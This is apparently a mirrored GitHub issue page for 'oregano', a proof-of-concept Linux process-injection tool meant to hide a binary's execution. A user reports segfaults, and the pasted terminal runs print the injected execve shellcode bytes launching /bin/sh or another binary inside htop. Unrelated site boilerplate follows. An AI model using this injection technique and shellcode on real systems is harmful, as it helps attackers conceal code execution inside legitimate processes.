r-rothrock / oregano Goto Github PK
View Code? Open in Web Editor NEWPoC Linux process injection to hide execution of "benign" binary.
License: MIT License
PoC Linux process injection to hide execution of "benign" binary.
License: MIT License
Are there any additional requirements regarding OS/architecture/build for the project injection to work?
Everything I tried, I get a segmentation fault. You have clearly documented this behavior and that it happens from time to time, but I get it on every call with every PID and binary.
$ sudo ./oregano $(pidof htop) src/shellcodes/a.out
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
HHHH_|_|HHHH_|_|_|HHHH_|_|_|_|HHHH_|_|_|HHHH_|_|HHHH_|HHHHHH_|HHHH_|_|HHHH
HH_|HHHH_|HH_|HHHH_|HH_|HHHHHHHH_|HHHHHHHH_|HHHH_|HH_|_|HHHH_|HH_|HHHH_|HH
HH_|HHHH_|HH_|_|_|HHHH_|_|_|HHHH_|HH_|_|HH_|_|_|_|HH_|HH_|HH_|HH_|HHHH_|HH
HH_|HHHH_|HH_|HHHH_|HH_|HHHHHHHH_|HHHH_|HH_|HHHH_|HH_|HHHH_|_|HH_|HHHH_|HH
HHHH_|_|HHHH_|HHHH_|HH_|_|_|_|HHHH_|_|_|HH_|HHHH_|HH_|HHHHHH_|HHHH_|_|HHHH
HHHHHHHHHHHHHHHHHHHHHHHHHHHHRoanHRothrockHH<[email protected]>HHHH
[-] Shellcode size: 63
[-] Shellcode:
0x48 0x31 0xc0 0x48 0x31 0xff 0x48 0x31 0xd2 0x52
0x48 0x8d 0x3d 0x29 0x10 0x10 0x10 0x48 0x81 0xef
0x10 0x10 0x10 0x10 0x57 0x48 0x89 0xe6 0xb0 0x3b
0x0f 0x05 0x48 0x31 0xc0 0xb0 0x3c 0x48 0x31 0xff
0x0f 0x05 0x73 0x72 0x63 0x2f 0x73 0x68 0x65 0x6c
0x6c 0x63 0x6f 0x64 0x65 0x73 0x2f 0x61 0x2e 0x6f
0x75 0x74 0x00
[+] Attached to process 3477.
[-] Instruction pointer (RIP/EIP): 0x7fb72c596966
[+] Injecting shellcode...
[+] Shellcode injected. Sending SIGCONT.
[-] Seding SIGCONT with PTRACE_CONT
[!] Shellcode caused the program to segfault.
[-] It does this sometimes... Try, try again :)
[+] Exiting...
nmlad@MDAVIS:[~/Repos/oregano] 14:16
$ ./oregano $(pidof htop) src/shellcodes/a.out
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
HHHH_|_|HHHH_|_|_|HHHH_|_|_|_|HHHH_|_|_|HHHH_|_|HHHH_|HHHHHH_|HHHH_|_|HHHH
HH_|HHHH_|HH_|HHHH_|HH_|HHHHHHHH_|HHHHHHHH_|HHHH_|HH_|_|HHHH_|HH_|HHHH_|HH
HH_|HHHH_|HH_|_|_|HHHH_|_|_|HHHH_|HH_|_|HH_|_|_|_|HH_|HH_|HH_|HH_|HHHH_|HH
HH_|HHHH_|HH_|HHHH_|HH_|HHHHHHHH_|HHHH_|HH_|HHHH_|HH_|HHHH_|_|HH_|HHHH_|HH
HHHH_|_|HHHH_|HHHH_|HH_|_|_|_|HHHH_|_|_|HH_|HHHH_|HH_|HHHHHH_|HHHH_|_|HHHH
HHHHHHHHHHHHHHHHHHHHHHHHHHHHRoanHRothrockHH<[email protected]>HHHH
[-] Shellcode size: 63
[-] Shellcode:
0x48 0x31 0xc0 0x48 0x31 0xff 0x48 0x31 0xd2 0x52
0x48 0x8d 0x3d 0x29 0x10 0x10 0x10 0x48 0x81 0xef
0x10 0x10 0x10 0x10 0x57 0x48 0x89 0xe6 0xb0 0x3b
0x0f 0x05 0x48 0x31 0xc0 0xb0 0x3c 0x48 0x31 0xff
0x0f 0x05 0x73 0x72 0x63 0x2f 0x73 0x68 0x65 0x6c
0x6c 0x63 0x6f 0x64 0x65 0x73 0x2f 0x61 0x2e 0x6f
0x75 0x74 0x00
[+] Attached to process 3573.
[-] Instruction pointer (RIP/EIP): 0x7fdac467a966
[+] Injecting shellcode...
[+] Shellcode injected. Sending SIGCONT.
[-] Seding SIGCONT with PTRACE_CONT
[!] Shellcode caused the program to segfault.
[-] It does this sometimes... Try, try again :)
[+] Exiting...
$ sudo ./oregano $(pidof sleep) /bin/sh
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
HHHH_|_|HHHH_|_|_|HHHH_|_|_|_|HHHH_|_|_|HHHH_|_|HHHH_|HHHHHH_|HHHH_|_|HHHH
HH_|HHHH_|HH_|HHHH_|HH_|HHHHHHHH_|HHHHHHHH_|HHHH_|HH_|_|HHHH_|HH_|HHHH_|HH
HH_|HHHH_|HH_|_|_|HHHH_|_|_|HHHH_|HH_|_|HH_|_|_|_|HH_|HH_|HH_|HH_|HHHH_|HH
HH_|HHHH_|HH_|HHHH_|HH_|HHHHHHHH_|HHHH_|HH_|HHHH_|HH_|HHHH_|_|HH_|HHHH_|HH
HHHH_|_|HHHH_|HHHH_|HH_|_|_|_|HHHH_|_|_|HH_|HHHH_|HH_|HHHHHH_|HHHH_|_|HHHH
HHHHHHHHHHHHHHHHHHHHHHHHHHHHRoanHRothrockHH<[email protected]>HHHH
OPTIONS: ./oregano [PID/PATH] [EXECUTABLE/BIN]
nmlad@MDAVIS:[~/Repos/oregano] 14:20
$ sudo ./oregano $(pidof htop) /bin/sh
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
HHHH_|_|HHHH_|_|_|HHHH_|_|_|_|HHHH_|_|_|HHHH_|_|HHHH_|HHHHHH_|HHHH_|_|HHHH
HH_|HHHH_|HH_|HHHH_|HH_|HHHHHHHH_|HHHHHHHH_|HHHH_|HH_|_|HHHH_|HH_|HHHH_|HH
HH_|HHHH_|HH_|_|_|HHHH_|_|_|HHHH_|HH_|_|HH_|_|_|_|HH_|HH_|HH_|HH_|HHHH_|HH
HH_|HHHH_|HH_|HHHH_|HH_|HHHHHHHH_|HHHH_|HH_|HHHH_|HH_|HHHH_|_|HH_|HHHH_|HH
HHHH_|_|HHHH_|HHHH_|HH_|_|_|_|HHHH_|_|_|HH_|HHHH_|HH_|HHHHHH_|HHHH_|_|HHHH
HHHHHHHHHHHHHHHHHHHHHHHHHHHHRoanHRothrockHH<[email protected]>HHHH
[-] Shellcode size: 50
[-] Shellcode:
0x48 0x31 0xc0 0x48 0x31 0xff 0x48 0x31 0xd2 0x52
0x48 0x8d 0x3d 0x29 0x10 0x10 0x10 0x48 0x81 0xef
0x10 0x10 0x10 0x10 0x57 0x48 0x89 0xe6 0xb0 0x3b
0x0f 0x05 0x48 0x31 0xc0 0xb0 0x3c 0x48 0x31 0xff
0x0f 0x05 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x00
[+] Attached to process 4019.
[-] Instruction pointer (RIP/EIP): 0x7fe90a916966
[+] Injecting shellcode...
[+] Shellcode injected. Sending SIGCONT.
[-] Seding SIGCONT with PTRACE_CONT
[!] Shellcode caused the program to segfault.
[-] It does this sometimes... Try, try again :)
[+] Exiting...
A declarative, efficient, and flexible JavaScript library for building user interfaces.
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. ๐๐๐
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google โค๏ธ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.